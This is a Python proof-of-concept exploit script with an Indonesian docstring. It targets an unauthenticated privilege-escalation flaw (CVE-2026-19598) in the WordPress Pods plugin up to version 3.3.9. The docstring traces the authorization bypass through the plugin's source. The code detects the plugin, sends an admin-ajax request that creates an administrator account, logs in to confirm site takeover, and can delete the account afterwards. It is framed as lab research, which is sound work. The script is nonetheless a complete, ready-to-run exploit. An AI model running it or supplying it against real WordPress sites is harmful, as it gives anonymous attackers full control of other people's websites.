#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC: CVE-2026-19598 — Pods (Custom Content Types and Fields) <= 3.3.9
     Unauthenticated Privilege Escalation via Authorization Bypass
     (CWE-863 Incorrect Authorization)
     Lab: WordPress + Pods 3.3.9 (plugin asli dari downloads.wordpress.org)

Lab target : http://wordpress.test

=====================================================================
AKAR MASALAH (diverifikasi dari source Pods 3.3.9 di lab)
=====================================================================
1. Router AJAX nopriv — classes/PodsAdmin.php:61-62
   'wp_ajax_nopriv_pods_admin' terdaftar ke PodsAdmin::admin_ajax(),
   jadi endpoint admin-ajax.php?action=pods_admin bisa dipanggil anonim.

2. Semua penjaga gagal "tidak mematikan eksekusi" —
   admin_ajax() menjalankan empat pemeriksaan berurutan
   (classes/PodsAdmin.php):
     a. baris 4145: method harus ada di allowlist $methods
     b. baris 4157-4166: harus login + nonce valid
     c. baris 4177-4184: capability (pods_is_admin)
     d. baris 4201: method harus ada di pods_api
   Keempatnya memanggil pods_error() saat gagal — DAN pods_error()
   dalam mode 'json' dengan parameter request meta-box-loader=1 hanya
   menulis ke error_log lalu RETURN FALSE, bukan menghentikan request:
     includes/general.php:396-411
       } elseif ( 'json' === $error_mode ) {
           $meta_box_loader_compat = (int) pods_v( 'meta-box-loader', 'request', 0 );
           if ( 1 === $meta_box_loader_compat ) {
               error_log( 'Pods Meta Save Error:' . $error );
           } else {
               wp_send_json( [ 'message' => $error ], 500 );
           }
       }
       return false;   <-- eksekusi LANJUT
   Akibatnya keempat penjaga "lewat begitu saja", lalu baris 4222
   call_user_func( [ $api, $method->name ], $params ) mengeksekusi
   method API Pods ARBITRER dengan parameter attacker-controlled.

3. Syarat mode 'json' — pods_error() hanya masuk cabang meta-box-loader jika
   mode error 'json', dan mode itu hanya aktif saat pods_doing_json() true
   (includes/general.php:302-304) yaitu request bernuansa JSON
   (header Accept: application/json / X-Requested-With: XMLHttpRequest).

4. Method save_user pada PodsAPI membuat/mengupdate user WP termasuk
   field role => pembuatan user administrator tanpa autentikasi.

Rantai: POST admin-ajax.php {action=pods_admin, method=save_user,
meta-box-loader=1, user_login, user_pass, user_email, role=administrator}
dengan header JSON -> user admin baru -> login -> site takeover.

Penggunaan:
  python poc.py                  # deteksi + exploit + verifikasi login admin
  python poc.py --cleanup        # hapus user hasil exploit (IR demo)

HANYA untuk edukasi/riset di lab milik sendiri.
"""

import re
import sys

try:
    import requests
except ImportError:
    sys.exit("Butuh 'requests': pip install requests")

BASE = "http://wordpress.test"
OK, FAIL, INFO, WARN = "[+]", "[-]", "[*]", "[!]"

NEW_USER = "pods RogueLab"
NEW_LOGIN = "roguelab"
NEW_PASS = "RogueLab!2026x"
NEW_EMAIL = "rogue@lab.local"


def detect_pods(session):
    try:
        r = session.get(f"{BASE}/wp-content/plugins/pods/readme.txt", timeout=20)
        m = re.search(r"Stable tag:\s*([\d.]+)", r.text)
        if m:
            print(f"{INFO} Pods terdeteksi: versi {m.group(1)}")
            return m.group(1)
    except requests.RequestException:
        pass
    print(f"{WARN} readme Pods tak terbaca — lanjut eksploitasi")
    return None


def exploit(session):
    data = {
        "action": "pods_admin",
        "method": "save_user",
        "meta-box-loader": "1",
        "user_login": NEW_LOGIN,
        "user_pass": NEW_PASS,
        "user_email": NEW_EMAIL,
        "user_display": NEW_USER,
        "role": "administrator",
        "_wpnonce": "",
        "_wp_http_referer": "/wp-admin/admin.php?page=pods-settings",
    }
    r = session.post(f"{BASE}/wp-admin/admin-ajax.php", data=data, timeout=30)
    print(f"{INFO} respons exploit: HTTP {r.status_code} :: {r.text[:200]}")
    if r.status_code != 200:
        return False
    body = r.text.strip()
    # pods_api save_user sukses mengembalikan ID user (angka); bila user sudah
    # ada respons bisa kosong (update) — bukan tanda gagal. Bukti nyata = login.
    if body.isdigit():
        print(f"{OK} save_user berhasil — user ID {body} dibuat tanpa autentikasi")
        return True
    if body == "":
        print(f"{INFO} respons kosong (user mungkin sudah ada — update mode); verifikasi via login")
        return True
    return False


def verify_admin_login(session):
    r = session.post(f"{BASE}/wp-login.php",
                     data={"log": NEW_LOGIN, "pwd": NEW_PASS,
                           "wp-submit": "Log In"},
                     timeout=30, allow_redirects=True)
    if "/wp-admin/" not in r.url:
        print(f"{FAIL} login user baru gagal (URL: {r.url})")
        return False
    print(f"{OK} login BERHASIL sebagai '{NEW_LOGIN}' -> /wp-admin/")
    r2 = session.get(f"{BASE}/wp-json/wp/v2/users/me", timeout=30)
    if r2.status_code == 200:
        try:
            j = r2.json()
            print(f"{OK} REST /users/me: name={j.get('name')} slug={j.get('slug')}")
        except Exception:
            pass
    print(f"{OK} TAKEOVER TERKONFIRMASI: user administrator '{NEW_LOGIN}' aktif")
    return True


def cleanup(session):
    """Login sebagai rogue admin lalu hapus dirinya (demo IR)."""
    if not verify_admin_login(session):
        sys.exit(1)
    r = session.get(f"{BASE}/wp-admin/users.php", timeout=30)
    uid = None
    for m in re.finditer(r"id=['\"]user-(\d+)['\"]", r.text):
        uid = m.group(1)  # fallback: baris pertama
    m = re.search(r"<tr id=['\"]user-(\d+)['\"][^>]*>(?:(?!</tr>).)*?roguelab(?:(?!</tr>).)*?</tr>", r.text, re.S)
    if m:
        uid = m.group(1)
    if not uid:
        print(f"{FAIL} daftar user tak terbaca")
        return
    n = session.get(f"{BASE}/wp-admin/admin-ajax.php", params={"action": "rest-nonce"}, timeout=30)
    if n.status_code == 200 and re.fullmatch(r"[a-f0-9]{10,}", n.text.strip()):
        r = session.delete(f"{BASE}/wp-json/wp/v2/users/{uid}",
                           params={"force": "true", "reassign": "1"},
                           headers={"X-WP-Nonce": n.text.strip()}, timeout=30)
        if r.status_code in (200, 204):
            print(f"{OK} user '{NEW_LOGIN}' (id={uid}) dihapus via REST — lab kembali bersih")
            return
        print(f"{WARN} REST delete HTTP {r.status_code} :: {r.text[:150]}")
    else:
        print(f"{WARN} rest-nonce tak didapat (HTTP {n.status_code})")
    # fallback: form konfirmasi bawaan WP
    m = re.search(r'users\.php\?action=delete(?:&amp;|&#038;)user=' + uid + r'(?:&amp;|&#038;|&)_wpnonce=([a-f0-9]+)', r.text)
    if not m:
        print(f"{FAIL} nonce hapus user {uid} tidak ditemukan")
        return
    # halaman konfirmasi hapus
    r = session.get(f"{BASE}/wp-admin/users.php?action=delete&user={uid}&_wpnonce={m.group(1)}",
                    timeout=30, allow_redirects=True)
    # kirim ulang SEMUA hidden field form konfirmasi
    hidden = dict(re.findall(r'<input type="hidden" name="([^"]+)" value="([^"]*)"', r.text))
    if "user" not in hidden:
        hidden["user"] = uid
    hidden["submit"] = "Confirm Deletion"
    r = session.post(f"{BASE}/wp-admin/users.php?action=delete&user={uid}",
                     data=hidden, timeout=30, allow_redirects=True)
    if "userdeleted" in r.text or f'id="user-{uid}"' not in r.text:
        print(f"{OK} user '{NEW_LOGIN}' (id={uid}) dihapus — lab kembali bersih")
    else:
        print(f"{WARN} penghapusan belum tervalidasi, cek manual")


def main():
    print(f"=== PoC CVE-2026-19598 (Pods <= 3.3.9 unauth priv-esc) :: {BASE} ===\n")
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (security-research-lab)",
        "Accept": "application/json",
        "X-Requested-With": "XMLHttpRequest",
    })
    detect_pods(s)
    if "--cleanup" in sys.argv:
        cleanup(s)
        return
    if not exploit(s):
        print(f"{FAIL} exploit tidak berhasil")
        sys.exit(1)
    verify_admin_login(s)


if __name__ == "__main__":
    main()
